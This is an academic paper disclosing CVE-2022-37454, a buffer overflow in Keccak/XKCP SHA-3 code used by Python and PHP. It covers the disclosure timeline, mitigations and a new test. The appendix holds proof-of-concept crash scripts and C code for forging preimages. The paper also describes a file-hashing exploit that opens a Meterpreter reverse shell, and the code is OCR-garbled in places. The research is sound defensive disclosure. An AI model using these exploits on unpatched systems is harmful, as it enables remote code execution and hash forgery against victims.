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Abstract. This paper describes a vulnerability in several implementa-
tions of the Secure Hash Algorithm 3 (SHA-3) that have been released
by its designers. The vulnerability has been present since the final-round
update of Keccak was submitted to the National Institute of Standards
and Technology (NIST) SHA-3 hash function competition in January
2011, and is present in the eXtended Keccak Code Package (XKCP) of
the Keccak team. It affects all software projects that have integrated
this code, such as the scripting languages Python and PHP Hypertext
Preprocessor (PHP). The vulnerability is a buffer overflow that allows
attacker-controlled values to be eXclusive-ORed (XORed) into memory
(without any restrictions on values to be XORed and even far beyond the
location of the original buffer), thereby making many standard protection
measures against buffer overflows (e.g., canary values) completely ineffec-
tive. First, we provide Python and PHP scripts that cause segmentation
faults when vulnerable versions of the interpreters are used. Then, we
show how this vulnerability can be used to construct second preimages
and preimages for the implementation, and we provide a specially con-
structed file that, when hashed, allows the attacker to execute arbitrary
code on the victim’s device. The vulnerability applies to all hash value
sizes, and all 64-bit Windows, Linux, and macOS operating systems, and
may also impact cryptographic algorithms that require SHA-3 or its vari-
ants, such as the Edwards-curve Digital Signature Algorithm (EdDSA)
when the Edwards448 curve is used. We introduce the Init-Update-Final
Test (IUFT) to detect this vulnerability in implementations.

Keywords: CVE-2022-37454 - SHA-3 - Keccak + hash function -
vulnerability

Introduction

®

Check for
updates

A (cryptographic) hash function transforms a variable-length message into a
fixed-length output, referred to as a “message digest,” a “hash value,” or simply
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a “hash.” This hash is intended to serve as a unique representative value of the
message (i.e., as a “digital fingerprint”). A typical use of hash functions is in
digital signature schemes, where the signature is typically applied to the hash of
the message.

For such signature schemes to be secure, a hash must be uniquely identifiable
by the corresponding message. Nevertheless, hash functions are many-to-one,
therefore due to the pigeonhole principle, it is unavoidable that there exists a
collision: two distinct messages with the same hash value.

A secure hash function is traditionally required to have three security prop-
erties: it should be computationally infeasible to find a collision, as well as to
find a second preimage (another message that results in the same hash), or to
find a preimage (i.e., to find a message that corresponds to a given hash). For a
classical treatment of hash functions based on these three properties (preimage,
second preimage, and collision resistance), we refer to the Handbook of Applied
Cryptography [7, Chapter 9].

Wang et al. presented a colliding pair of messages for the Message Digest 5
(MD5) hash function at EUROCRYPT 2005 [21], and presented a collision attack
for SHA-1 at CRYPTO 2005 [20]. In response to these attacks, NIST announced
a competition for a new SHA-3 hash function standard in 2007 [11]. The Keccak
hash function was one of the 64 hash functions submitted in 2008 and was
eventually selected as the winner of the competition in 2012. In 2015, NIST
published FIPS 202 [12], which specifies the SHA-3 standard.

In this paper, we will not focus on the specifications of hash functions, but on
the correctness of their implementations. The source codes of the SHA-3 submis-
sions have been subject to years of public scrutiny. Already at the beginning of
the competition, Forsythe and Held of Fortify [4] performed a systematic anal-
ysis of all first-round candidates against typical programming errors and found
buffer overflows, out-of-bound reads, memory leaks, and null dereferences in five
reference implementations. In 2018, Mouha et al. [10] introduced a new testing
strategy that showed bugs in 41 of the 86 reference implementations. Later at
CT-RSA 2020, Mouha and Celi [9] announced a vulnerability in Apple’s Core-
Crypto library that affected 11 out of the 12 hash functions that were imple-
mented in the library.

In this paper, we present an undiscovered vulnerability that impacts the final-
round submission of Keccak to the SHA-3 competition [13]. The vulnerability
also affects the eXtended Keccak Code Package (XKCP) [2] of the Keccak team
and various software projects (including Python and PHP) that are based on
this source code. The vulnerability described in this paper does not affect the
SHA-3 standard (as specified in FIPS 202 [12]), and not all implementations of
SHA-3 are vulnerable. Most notably, the implementation of SHA-3 in OpenSSL
is not affected.

Vulnerability Disclosure. CVE (Common Vulnerabilities and Exposures)
identifiers are assigned by CVE Numbering Authorities (CNAs). The vulner-
ability did not seem to fit the scope of any of the regular CNAs, so the MITRE
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Fig. 1. The SHA-3 sponge function, where My, My, ... are the message blocks after
padding, the concatenation of Zy, Z1, ... is the hash value before truncation, r and ¢
are the rate and capacity in bits, and 0""° denotes an all-zero string of r + ¢ bits.

CNA of Last Resort (CNA-LR) was contacted on August 4, 2022. On August 7,
CVE-2022-37454 was assigned to this vulnerability. The Keccak Team was con-
tacted on August 21, and a series of discussions followed regarding the technical
details and scope of the vulnerability, potential fixes, and a disclosure process.
Proof-of-concept code was disclosed to the main projects that appeared to be
impacted (Python, PHP, and pysha3) on October 11. There were no objections
to publicly patching and disclosing the vulnerability on October 20. On October
21, the PyPy and SHA3 for Ruby projects were informed as well. The National
Vulnerability Database (NVD) assigned the score “9.8 CRITICAL” to this vul-
nerability on October 25. Fixes are available for the affected projects, therefore
the Python and PHP scripts in this paper may no longer produce segmentation
faults even though older versions of the interpreters are vulnerable.

2 The SHA-3 Standard

SHA-3 uses the “sponge construction” to process the message in blocks of a fixed
size (see Fig.1). For the four hash functions (SHA3-224, SHA3-256, SHA3-384,
and SHA3-512), the number in the suffix refers to the length of the hash value in
bits. An eXtendable-Output Function (XOF) is a variant of a hash function that
provides a hash value of any requested length. The two XOFs (SHAKE128 and
SHAKE256) have a security strength of 128 and 256 bits respectively, assuming
the requested output is sufficiently long.

The sponge construction is parameterized by a rate r and a capacity ¢, both
given in bits. For the four hash functions and the two XOFs that are specified
in the SHA-3 standard [12], the values of these parameters are given in Table 1.
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The message M is processed according to a specific padding rule! so that the
padded message becomes a positive multiple of r bits. This allows it to be split
into blocks of r bits each: My, My, Ms, ... As many output blocks Zy, Zy, Zs,
... are generated as necessary, these blocks are concatenated, and the hash value
is obtained after truncating to the desired length.

Table 1. Parameters for the SHA-3 standard.

Capacity in bits Rate in bits Rate in bytes

Algorithm ©) (r = 1600 — ) (r/8)
SHA3-224 448 1152 144
SHA3-256 512 1088 136
SHA3-384 768 832 104
SHA3-512 1024 576 72

SHAKE128 256 1344 168
SHAKE256 512 1088 136

We will use the notation 0° to refer to the all-zero bit string of length s.
In the figures, the numbers given next to every line represent the length of the
corresponding bit string and @ is the bitwise eXclusive-OR, (XOR) operation.
The function f is a cryptographic permutation. It is easy to evaluate f and its
inverse f~1, but the outputs should appear “random,” so that any structure in
the output only occurs by chance after evaluating f on a sufficient number of
inputs. In “sponge” terminology, processing the padded message is referred to
as “absorbing,” and generating the hash is referred to as “squeezing.”

This paper will focus mostly on the hash function with the smallest out-
put size: SHA3-224. This is only for convenience and simplicity, as the source
code that contains the vulnerability is used by the implementations of all the
hash functions and XOFs in the SHA-3 standard, as well as the SHA-3 derived
functions (¢SHAKE, KMAC, TupleHash, and ParallelHash) specified in SP 800-
185 [6].

Two application programmer interfaces (APIs) are common for hash function
implementations. More specifically, the message can be processed either at once
or incrementally. In the latter case, a call to Keccak HashInitialize() is fol-
lowed by any number of calls to Keccak_HashUpdate (), and then followed by a
call to Keccak _HashFinal (). In this case, the calls to Keccak_HashUpdate () are
“absorbing,” while the single call to Keccak HashFinal () performs the “squeez-
ing.” This makes it convenient to process a message that consists of several parts:
it is not necessary to store these parts in a temporary buffer, but the hash can
be computed on the fly.

1 As we will explain in Sect. 3.1, the length of the message is not part of the padding.
This property will be useful for our attacks.



A Vulnerability in Implementations of SHA-3, SHAKE, EdDSA 7

Many cryptographic algorithms naturally lend themselves to processing the
input in blocks: for the cryptographic library HACL* [15,22], 17 algorithms are
spread out across 40 implementations, and at least a dozen of those follow a
block-based paradigm as pointed out by Protzenko and Ho [17].

3 The Vulnerability

In XKCP versions released before October 20, 2022 (and in other projects such
as the Python and PHP scripting languages that included this source code before
they were patched), there is a vulnerability in the KeccakSponge.inc file that
implements the processing of the message in fixed-size blocks. The same vulner-
ability is also present in the KeccakSponge. c file of the final-round source code
made available by NIST on the SHA-3 competition website. As explained in
Sect. 2, the block size is also known as the “rate” and its size in bytes is denoted
by rateInBytes in the source code.

The KeccakSponge.inc file contains the following code in SpongeAbsorb ()
to process the input of the hash function in fixed-size blocks:

partialBlock = (unsigned int) (dataBytelen - i);

if (partialBlock+instance->byteIOIndex > rateInBytes)
partialBlock = rateInBytes-instance->bytelOIndex;

i += partialBlock;

SnP_AddBytes(instance->state, curData, instance->byteIOIndex,
partialBlock);

On all 64-bit Windows, Linux, and macOS operating systems, size_t
variables are unsigned 64-bit integers and unsigned int variables are 32-bit
unsigned integers. Therefore, the variable definitions (not shown here) imply
that

— partialBlock, instance->byteIOIndex, and rateInBytes are unsigned 32-
bit integers, whereas
— dataByteLen and i are unsigned 64-bit integers.

The comparison (partialBlock+instance->byteI0Index > rateInBytes)
is intended to detect when SpongeAbsorb() encounters (partial) inputs that,
when added to the instance->byteI0Index bytes already in the buffer from
previous calls (if any) to SpongeAbsorb(), will be larger than the block size
(rateInBytes).

This buffer may already contain some data. If this is the case, then a sub-
sequent call to SpongeAbsorb() with an input that is just below 232 bytes
(4 GiB) causes partialBlock+instance->byteI0Index to wrap around due to
an integer overflow. This incorrectly results in a value that is lower than the
block size, so that the if condition evaluates to false. Consequently, a large
value of partialBlock will be passed on to SnP_AddBytes(), resulting in a



8 N. Mouha and C. Celi

buffer overflow when these partialBlock bytes are XORed to memory inside
SnP_AddBytes ().

Additionally, there is an incorrect type casting. If an input of at least 232
bytes (4 GiB) is provided, then the higher bits are discarded due to the cast
to an unsigned int. The code will nevertheless be correct if only one call to
SpongeAbsorb() is performed. If, however, the buffer already contains some
data and an input of at least 232 bytes is provided, then the program will enter
into an infinite loop. Note the similarity here with the vulnerability presented
at CT-RSA 2020 by Mouha and Celi [9], which affected every implemented hash
function except MD2 in Apple’s CoreCrypto library, and also caused an infinite
loop.

The infinite loop can be avoided as follows. Assume that an input of = bytes
is processed (where 0 < < rateInBytes), so that instance->byteIOIndex is
set to . The buffer then contains x bytes. Then, assume that this is followed by
another input of 232 — x bytes. This will create a situation where a large number
of bytes of the input message are XORed in memory. If this involves a write
operation into unwritable memory, it will cause a segmentation fault. Proof of
concept Python and PHP scripts that generate a segmentation fault in this way
are given in Appendix A.

If we can ensure that the write is done into writable memory, then this specific
input value will avoid an infinite loop, but instead, will exit the loop before the
next iteration. We will not go into the details of the techniques to avoid write
operations to unwritable memory, but we note that the typical techniques for
this (such as stack spraying or heap spraying, depending on the location of the
internal hash function state), may also help to mitigate Address Space Layout
Randomization (ASLR) if present.

In the following, we explain that if a write operation to unwritable memory
can be avoided, it will be possible to generate second preimages and preimages
for this specific implementation of the SHA-3 hash function. We reiterate that
this is not due to a weakness in the SHA-3 standard, but rather due to the
implementation producing an incorrect hash value when provided with malicious
inputs. We also show how to provide an exploit payload along with the message,
which will overwrite the stack return address to point to the location of the
payload inside the message.

3.1 Constructing a Second Preimage

The construction of a second preimage (which also implies a collision) is rather
straightforward. As shown in Fig. 2, we process an all-zero message of 232 bytes
(4GiB) using two calls to Keccak HashUpdate() (which will internally call
SpongeAbsorb()). The first call consists of 0 < z < rateInBytes bytes, fol-
lowed by a call of 232 — x bytes. The value of = can be any integer within the
specified range, for simplicity we use £ = 1 in the proof of concept code given in
Appendix A.

The 232 bytes of the message will be XORed into memory. As we are XORing
all-zero values, the content of the memory will not be changed but may result in a



A Vulnerability in Implementations of SHA-3, SHAKE, EdDSA 9

M||M; =0 M, Zo

Adjacent Memory Region

Fig. 2. SHA-3 second preimage for a vulnerable implementation. The second preim-
age consists of the following two messages that have the same hash value: the empty
string, and the 4 GiB all-zero message My||M;: that is processed using two calls to
Keccak_HashUpdate (), where the length of the first call is a positive number of bytes
less than rateInBytes. Here, M> is an extra block due to the padding of either message,
and A refers to the contents of the adjacent memory region that needs to be writable
but may be unknown to the attacker.

segmentation fault if the memory region is not writable. Therefore, the adjacent
memory region, beyond the r 4 ¢ bits of the sponge state, does not need to be
known to the attacker but needs to be writable.

A call to Keccak HashUpdate() of 0 < 2 < rateInBytes bytes followed
by a call of 232 — x bytes will conveniently result in another integer overflow:
instance->byteI0Index will overflow and end up with a value of zero. There-
fore, from the point of view of the implementation, the 4 GiB message is “for-
gotten” and the computation continues as if nothing has been processed yet.

Now, the padding of SHA-3 becomes relevant. As explained in [12], the
padding consists of adding a fixed two- or four-bit suffix to the message (to
distinguish the SHA-3 hash functions from the SHA-3 XOFs), followed by the
“multi-rate padding rule” which consists of a ‘1’, followed by a possibly empty
string of zeros, and a ‘1’. This padding is notably different from the MD4, MD5,
SHA-1, and the SHA-2 family, which include the length of the message as part
of the padding, a process known as Merkle-Damgard strengthening.

Because the padding for SHA-3 does not involve the number of bytes that
were processed, we can perform a third call to Keccak HashUpdate() (and any
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Adjacent Memory Region

Fig. 3. SHA-3 preimage of zero for a vulnerable implementation. The message Mo|| M1
is again 4 GiB in length and is processed in two calls to Keccak_HashUpdate (), but it
contains a well-placed 1 that sets the squeezing variable in the hash function state to
a non-zero value. This causes Keccak _Final() to return with an error and the hash
value is never written but keeps the value to which it was initialized (typically zero).

number of subsequent calls) and the hash value will be the same as when the
first two calls to Keccak_HashUpdate () were not present.

As such, we find a second preimage for the vulnerable implementation: given
any message, we can prepend 4 GiB of zeros to the message (to be processed
as mentioned earlier in two calls) to obtain another message that results in the
same hash value.

3.2 Constructing a Preimage of Zero

At SAC 2020, Benmocha et al. [1] studied implementations of the keyed-hash
message authentication code (HMAC) when the API is used in an unintended
way by adding extra data after the tag has already been computed. They noted
that most APIs do not raise an error when used in such a way, and that for
OpenSSL it is possible to instantly find collisions and multi-collisions that are
also colliding under any key.

The SHA-3 implementation does raise an error when such an API misuse
happens. To achieve this, the state contains a squeezing variable that is ini-
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tialized to zero, and is set to a non-zero value when the padding has been pro-
cessed. Every time new data is processed, the implementation confirms that the
squeezing variable is zero, otherwise the calling function returns with a non-zero
value to indicate an error.

On the other hand, an implementation would typically not check for errors
that cannot occur if the implementation is correct, and even if they do, such
checks might be eliminated as part of a common compiler optimization called
“dead code elimination.” If this is the case, we show how to construct a preimage
of zero for a vulnerable implementation.

More specifically, we can provide a 4 GiB message (processed using two
calls to Keccak HashUpdate () as before) to reach beyond the r + ¢ bits of the
sponge state, and access the internal variables of the hash function state (see
Fig.3). This allows us to set the squeezing variable to a non-zero value, and
when Keccak_HashFinal() calls SpongeAbsorbLastFewBits() to process the
padding, it will return early with an error when it finds that squeezing has a
non-zero value. In the end, the hash will not be written but will contain the
value to which it was initialized, most likely zero.

In Appendix A, we provide proof-of-concept code to use this technique to
obtain a preimage of zero for a vulnerable implementation.

3.3 Constructing a Preimage of Any Value

Rather than just creating a preimage of zero, we can use the vulnerability to
create a preimage of an arbitrary hash value.

For this, we start with the target hash value H, and pad it to the entire
r + ¢ sponge state. The contents of the padding do not matter, so we can just
use zeros for simplicity. Recall that f is a permutation, so we can invert f on
any value. The code for the inverse of f is not included in XKCP [2], however,
it can be found in KeccakTools [3]. As SHA-3 initializes the r + ¢ bits of the
sponge state with zeros, all we need to do now is XOR the inverse of f with two
padding bytes (see [12, App. B.2]) to obtain the first r + ¢ bits of the My||M;,
which is again a message of 4 GiB that is processed in two calls. The other bits
of My||M; are set to zero to avoid altering the adjacent memory regions. The
entire procedure is illustrated in Fig. 4.

In literature, the attack is known as the correcting block attack as applied to
hash functions based on Cipher Block Chaining (CBC) [16, Sect.5.3.1.1], such
as the attack on the first-round SHA-3 candidate Khichidi-1 [8, Sect. 2.6.3].

In Appendix A, we show how for a vulnerable implementation we can generate a
preimage of 000102030405060708090a0b0c0d0e0£f101112131415161718191a1b
in this way.
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M| M, M, H|0

Adjacent Memory Region

Fig. 4. SHA-3 preimage of any H for a vulnerable implementation. We use two calls
to Keccak_HashUpdate() to process a message Mo||M; that is again 4 GiB in length.
However, we now use the fact that f is invertible to determine the correct value of
Mpy|| M1, noting that we can use the vulnerability to overwrite all r + ¢ bits of the
sponge state.

3.4 Constructing a Message with an Exploit Payload

As shown in Fig.5, a carefully constructed stack overflow allows the return
address of the function to be overwritten. We illustrate this with a simple
return-to-stack exploit when an attacker-provided file is hashed, which launches
a Meterpreter Reverse TCP payload. This allows the attacker to download and
upload files, view the webcam, run post-exploitation tools to pivot deeper into
the victim’s device and/or to maintain persistence, etc. Proof-of-concept code is
provided in Appendix A. Our exploit assumes that the stack is executable and
that ASLR is not present. Note that these assumptions can be avoided by using
more advanced exploitation techniques, such as return-oriented programming
and techniques to reduce address randomization.

3.5 Attacking EADSA

The use of SHA-3 and its variants is mandatory in certain NIST and Internet
Engineering Task Force (IETF) standards. For example, EADSA [5,14] makes
the use of SHAKE256 mandatory for Ed448. The vulnerability would then work
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Fig.5. SHA-3 exploit for a vulnerable implementation, where two calls to
Keccak HashUpdate() are made to provide an attack payload and to overwrite the
function return address on the stack. The attacker-provided payload will be executed
when the function returns.

as follows. If an implementation of Ed448 verification (with the default empty-
string context) places a 10-byte encoded context, a 57-byte point R, and a 57-
byte public key @ in the buffer, then 10 + 57 + 57 = 124 bytes are in the buffer
before the message is processed. This is less than 136 bytes, which is the rate
in bytes for SHAKE256. Therefore, a message of 232 — 124 bytes can be used to
cause the buffer overflow described in this paper. Note that the message does
not need to be correctly signed for the buffer overflow attack on the verification
function to work.

As this example shows, the use of repeated calls to Keccak HashUpdate ()
can occur quite naturally, for algorithms such as EADSA where the input consists
of a concatenation of various values.
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4 Discussion

The execution time to process the 4 GiB message will depend on the platform.
However, no calls to the cryptographic permutation f are involved, therefore the
execution time is mainly the time required to XOR a 4 GiB value into memory.
In our experiments on a recent laptop, we observed an execution time of 2 to 3s
to process this input. The proof-of-concept code in Appendix A shows various
techniques to avoid a large amount of RAM or swap space, such as using mmap ()
to create file-backed and anonymous mappings. However, it may be necessary
for some attacks that the amount of RAM and swap together is at least 4 GiB to
avoid an error that insufficient memory is available. It does not seem that 32-bit
systems are vulnerable because the address space is insufficient to malloc() or
mmap () such an input.

Not all implementations of SHA-3 are vulnerable to this bug. For example,
the implementation of OpenSSL is not based on the XKCP, and incidentally,
Python 3.9 has been patched to use OpenSSL’s implementation when avail-
able [18]. As explained by Christian Heimes [19], both SHA-3 and SHAKE are
listed in hashlib.algorithms_guaranteed, but using OpenSSL is optional. This
explains why the vulnerable code has not been removed and that it may be
reachable under some configurations. Since Python 3.11, however, the XKCP
implementation was replaced by Saarinen’s tiny_sha3 [19].

Projects that are derived from Python, such as PyPy3, may remain vulner-
able for a longer time due to a slower adoption of Python patches. For example,
the PyPy 3.8 release is vulnerable, but the latest PyPy 3.9 release incorporates
the patch to use the OpenSSL implementation.

A possible suggestion to mitigate the vulnerability is to switch the default
SHA-3 and SHAKE from XKCP to OpenSSL, or Saarinen’s tiny_sha. Another
suggestion to mitigate this bug is to limit the maximum size of a call to 232 —
rateInBytes bytes, where rateInBytes is either the corresponding value in
Table 1 for the given SHA-3 hash function or XOF, or a cautious upper limit of
200 (the size of the sponge state in bytes). Lastly, the vulnerability can also be
avoided by always processing the entire message at once, which may require the
use of a temporary buffer.

Note that the Large Data Test (LDT) that was introduced at CT-RSA 2020
by Mouha and Celi [9] is not effective to find this bug (nor for regression testing)
because a specific sequence of calls is required; a single call with a large input
will not trigger the vulnerability. Bugs of this type may be difficult to find
through testing because they require a very specific sequence of calls, which may
explain why this bug has not been discovered since it was first introduced in
2011. Nevertheless, the bug may be triggered using only one call to higher-level
algorithms that are now introducing SHA-3 or its variants, as in the Ed448
example mentioned earlier.

The bug was not present in the first- and second-round submissions of the
Keccak package to the NIST SHA-3 competition, but appears in the implemen-
tation that was submitted in the final round where partialBlock was changed
from a 64-bit to a 32-bit variable. Nevertheless, we note a slight difference with
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the bug in the Keccak package: the incorrect line contains databitlen rather
than dataByteLen, and therefore a message of 232 bits (0.5 GiB) rather than
232 bytes (4 GiB) is required to trigger the bug described in this paper. Taking
this change into account, all attacks described in this paper also apply to the
final-round Keccak submission to the SHA-3 competition.

5 Proposing the Init-Update-Final Test (IUFT)

Within the NIST Cryptographic Algorithm Validation Program (CAVP), when
testing hash functions, a single call to Keccak HashUpdate() is performed to
compute the hash value. As we have shown, this is not sufficient to cover corner
cases that appear in practice. Testing must match the real-world use cases of
an implementation to be effective. Currently, there is a gap in the test cover-
age offered by NIST. To cover this gap, we propose the Init-Update-Final Test
(IUFT) as a solution in Fig.6. The example is given in the Automated Cryp-
tographic Validation Protocol (ACVP) JavaScript Object Notation (JSON) for-
mat, and includes an optional Large Data Test (LDT) element proposed by
Mouha and Celi at CT-RSA 2020 [9].

{
"messages": [
{
"message": "00",
"length": 8
1,
{
"largeMessage":
{
"content": "00",
"contentLength": 8,
"fullLength": 34359738360,
"expansionTechnique": "repeating"
3
}
]
}

Fig. 6. An example Init-Update-Final Test (IUFT) case for the ACVP JSON format.
An array of messages with lengths (in bits) are passed to the Keccak HashUpdate ()
function individually and in order before Keccak Final() is called. This example test
case would cause a segmentation fault when run on vulnerable implementations.

6 Conclusion

We described a buffer overflow vulnerability in the final-round Keccak submission
package to the NIST SHA-3 competition, in the eXtended Keccak Code Package



16 N. Mouha and C. Celi

(XKCP), and in various projects such as the Python and PHP interpreters that
incorporate this code.

The vulnerability is due to a 32-bit integer overflow that occurs when a
large (around 4 GiB) call to Keccak_HashUpdate () is made after an incomplete
number of blocks have been processed. Depending on the length of the call, this
will result in either an infinite loop or an attacker-chosen 4 GiB value that is
XORed into memory, resulting in a buffer overflow.

We showed how this buffer overflow can be leveraged to violate the crypto-
graphic properties of the hash function (preimage, second preimage, and collision
resistance), as it provides the attacker full control over the r+c bits of the sponge
state. Moreover, we showed how to overwrite the stack pointer and execute an
attacker-provided payload.

Lastly, we proposed the Init-Update-Final Test (IUFT) that can process an
input in several parts.

Acknowledgments. The authors would like to thank Benjamin Livelsberger, Oliv-
era Kotevska, Kevin Stine, and their NIST colleagues for their useful comments and
suggestions. We also thank the Keccak team for their quick response to update their
codebase and coordinate the disclosure of the vulnerability, and the security teams
and maintainers of the Python, PHP, PyPy, and SHA3 for Ruby projects for promptly
fixing the vulnerability. Products may be identified in this document, but identifica-
tion does not imply recommendation or endorsement by NIST, nor that the products
identified are necessarily the best available for the purpose.

A Proof of Concept Code

Below we provide proof-of-concept code that runs with little to no modification
(assuming the necessary packages are installed) on a 64-bit Ubuntu Linux plat-
form. The proof of concept script will attempt to set up a Python crash, a PHP
crash, a second preimage, a preimage of zero, a preimage of an attacker-chosen
value, and a buffer exploit on a file hashing tool. The script assumes docker is
installed with access to a non-root user. As explained below, the location of the
return address and the attacker’s IP address may need to be modified for the
attack to work.
Expected output:

[...]
Python segmentation fault

Segmentation fault
PHP segmentation fault

Segmentation fault

Second preimage
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Hashing a message of 1 + 4294967295 + 200 bytes...

Hash: 9376816abab03f72f96ce7eb65ac095deee3bedbfObbc2alcb7ellel
Hashing a message of 200 bytes...

Hash: 9376816aba503f72f96ce7eb65ac095deee3bedbfObbc2alcb7ellel

Preimage of zero
Hashing a message of 1 + 4294967295 bytes...
Hash: 00000000000000000000000000000000000000000000000000000000

Preimage of attacker-chosen value
Hashing a message of 1 + 4294967295 bytes...
Hash: 000102030405060708090a0b0c0d0e0£101112131415161718191al1b

Buffer overflow exploit

[...]

meterpreter >
File run_all_attacks.sh:

#!/bin/sh

wget -c https://www.python.org/ftp/python/3.10.8/Python-3.10.8.tgz
tar zxvf Python-3.10.8.tgz Python-3.10.8/Modules/_sha3/kcp/ \
--strip-components=3

cat <<EOF > segfault.py
#!/usr/bin/python

import hashlib

h = hashlib.sha3_224()
h.update (b"\x00" * 1)
h.update(b"\x00" * 4294967295)
print (h.hexdigest())

EQOF

cat <<EOF > segfault.php

#!/usr/bin/php

<7php

\$ctx = hash_init("sha3-224");

hash_update (\$ctx, str_repeat("\x00", 1));
hash_update (\$ctx, str_repeat("\x00", 4294967295));
echo hash_final (\$ctx);

>

EQOF
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cat <<EOF > second-preimage.c
#include <stdio.h>

#include <stdlib.h>

#include <stdint.h>

#include <sys/resource.h>
#include <sys/mman.h>
#include <string.h>

#define KeccakOpt 64

/* 64bit platforms with unsigned int64 */
typedef uint64_t UINT64;
typedef unsigned char UINTS;

/* we are only interested in KeccakP1600 */
#define KeccakP200_excluded 1
#define KeccakP400_excluded 1
#define KeccakP800_excluded 1

/* inline all Keccak dependencies */
#include "kcp/KeccakHash.h"

#include "kcp/KeccakSponge.h"
#include "kcp/KeccakHash.c"

#include "kcp/KeccakSponge.c"
#include "kcp/KeccakP-1600-opt64.c"

int main (int argc, char **argv)

{
int hashbitlen = 224;
unsigned long lenl = 1; // in bytes
unsigned long len2 = 4294967295; // in bytes

unsigned char *Msg =
mmap (NULL, lenl+len2, PROT_READ,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (Msg == MAP_FAILED) {
perror ("mmap") ;
exit(-1);
}

unsigned char digest[64];

void *ptr = calloc(lenl+len2, 1);
if (ptr == NULL) {
perror("calloc");
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exit(-1);
}

printf ("Hashing a message of %lu + %lu + %i bytes...\n"
"Hash: ", lenl, len2, 1600/8);

Keccak_HashInstance *hash_state = ptr;

Keccak_HashInitialize_SHA3_224(hash_state);
Keccak_HashUpdate(hash_state, Msg, lenl * 8);
Keccak_HashUpdate(hash_state, Msg + lenl, len2 * 8);
unsigned char Msg2[1600/8];

memset (Msg2, Oxa3, 1600/8);

Keccak_HashUpdate (hash_state, Msg2, 1600);
Keccak_HashFinal (hash_state, digest);

for (int i=0; i<hashbitlen/8; i++) {
printf ("%02x",digest[i]);

}

printf("\n");

printf ("Hashing a message of %i bytes...\n"
"Hash: ", 1600/8);

Keccak_HashInstance hash_state2;
Keccak_HashInitialize_SHA3_224(&hash_state2);
Keccak_HashUpdate (&hash_state2, Msg2, 1600);
Keccak_HashFinal (&hash_state2, digest);

for (int i=0; i<hashbitlen/8; i++) {
printf ("%02x",digest[i]);

}

printf ("\n");

return O;

EQOF

cat <<EOF > preimage-zero.c
#include <stdio.h>

#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#define KeccakOpt 64
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/* 64bit platforms with unsigned int64 */
typedef uint64_t UINT64;
typedef unsigned char UINTS;

/* we are only interested in KeccakP1600 */
#define KeccakP200_excluded 1
#define KeccakP400_excluded 1
#define KeccakP800_excluded 1

/* inline all Keccak dependencies */

#include
#include
#include
#include
#include

int main

{

"kcp/KeccakHash.h"
"kcp/KeccakSponge.h"
"kcp/KeccakHash.c"
"kcp/KeccakSponge.c"
"kcp/KeccakP-1600-opt64.c"

(int argc, char **argv)

int hashbitlen = 224;
unsigned long lenl = 1; // in bytes

unsigned long len2

4294967295; // in bytes

unsigned char *Msg = (unsigned char*) calloc(lenl+len2,

if (Msg == NULL) {
perror("calloc");
exit(-1);

}

Msg[208] = 0x01; /* overwrites instance->squeezing */

unsigned char digest[64];

void *ptr = calloc(lenl+len2, 1);
if (ptr == NULL) {
perror("calloc");
exit(-1);

}

printf ("Hashing a message of %lu + J%lu bytes...\n"

"Hash: ", lenl, len2);

Keccak_HashInstance *hash_state = ptr;

Keccak_HashInitialize_SHA3_224(hash_state);
Keccak_HashUpdate (hash_state, Msg, lenl * 8);

1);
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Keccak_HashUpdate (hash_state, Msg + lenl, len2 * 8);
Keccak_HashFinal (hash_state, digest);

for (int i=0; i<hashbitlen/8; i++) {
printf ("%02x",digest[i]);

}

printf ("\n");

return O;

I
EOF

cat <<EOF > preimage-any.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#define KeccakOpt 64

/* 64bit platforms with unsigned int64 */
typedef uint64_t UINT64;
typedef unsigned char UINTS;

/* we are only interested in KeccakP1600 */
#define KeccakP200_excluded 1
#define KeccakP400_excluded 1
#define KeccakP800_excluded 1

/* inline all Keccak dependencies */
#include "kcp/KeccakHash.h"

#include "kcp/KeccakSponge.h"
#include "kcp/KeccakHash.c"

#include "kcp/KeccakSponge.c"
#include "kcp/KeccakP-1600-opt64.c"

int main (int argc, char x*argv)

{
int hashbitlen = 224;
unsigned long lenl = 1; // in bytes
unsigned long len2 = 4294967295; // in bytes

unsigned char *Msg = (unsigned char*) calloc(lenl+len2, 1);

if (Msg == NULL) {
perror("calloc");
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exit(-1);
}

unsigned char keccakFinverse[200] = {
Oxe4, 0xb8, Oxed, 0x81, 0x9d, 0xc3, 0x03, 0xc9,
0x33, 0x28, 0x8b, 0x56, 0x%9a, 0xd2, 0x33, 0x68,
0Ox5e, 0xbb, 0x72, Oxbd, 0x30, 0x8c, 0x45, 0x55,
0xch, 0x1f, 0xa0, 0x80, 0x97, 0x45, 0x32, 0x84,
0x42, 0x6f, 0x27, Oxbe, 0x97, 0x30, 0x97, Oxfe,
0xb0, 0x48, 0x3e, 0x09, 0x83, Oxca, Oxle, Oxcb,
0x52, Oxcc, 0x49, Oxdf, 0x19, 0x0d, O0xb6, Oxe3,
0x37, 0x85, 0x15, 0x26, 0xf7, 0x48, 0x0d, Oxbl,
0x08, 0xb1, 0x2b, Oxda, 0x9b, 0xb9, 0x70, 0x9a,
0x04, 0x7c, 0x9d, Oxd4, 0x9d, Oxdl, 0x2d, 0xf8,
0x28, Oxfd, Oxa2, Oxbe, 0x92, 0x16, 0x5f, 0x03,
0x25, 0xc3, Oxeb, 0x8f, 0x3d, 0x2a, 0xc8, 0x18,
0x61, 0x14, 0x62, 0x97, 0x46, 0x0d, 0x98, 0xd5,
0x26, 0xdl, 0x58, 0x51, 0xd4, Oxbl, 0x29, 0x50,
0x98, 0x96, 0x61, 0x59, 0x92, Oxel, Oxdf, 0xd8,
Oxbb, 0x01, Oxbf, Oxe7, Ox6e, 0xOb, 0x8d, 0x43,
Ox6e, 0xf0, Ox4e, 0x68, 0xb0, 0xf8, 0x17, 0x67,
0x09, 0xbd, 0x56, 0Ox7a, 0x8f, 0x5f, Oxde, 0x25,
0x29, 0x3e, 0xdl, 0x08, 0x10, 0x2e, 0x67, 0x6e,
Oxca, 0xa9, 0x10, Oxa0O, Oxf5, 0xa0, Oxea, 0xd2,
Ox4e, 0xd5, 0x0f, Oxdb5, Ox7f, Oxcc, Oxe3, 0x99,
0xd8, Oxce, Oxal, Oxbl, 0x15, 0x8d, Oxfd, 0xd5,
0x5c, Oxde, Oxab, 0Ox7e, O0xb0, 0xa8, 0x15, 0x80,
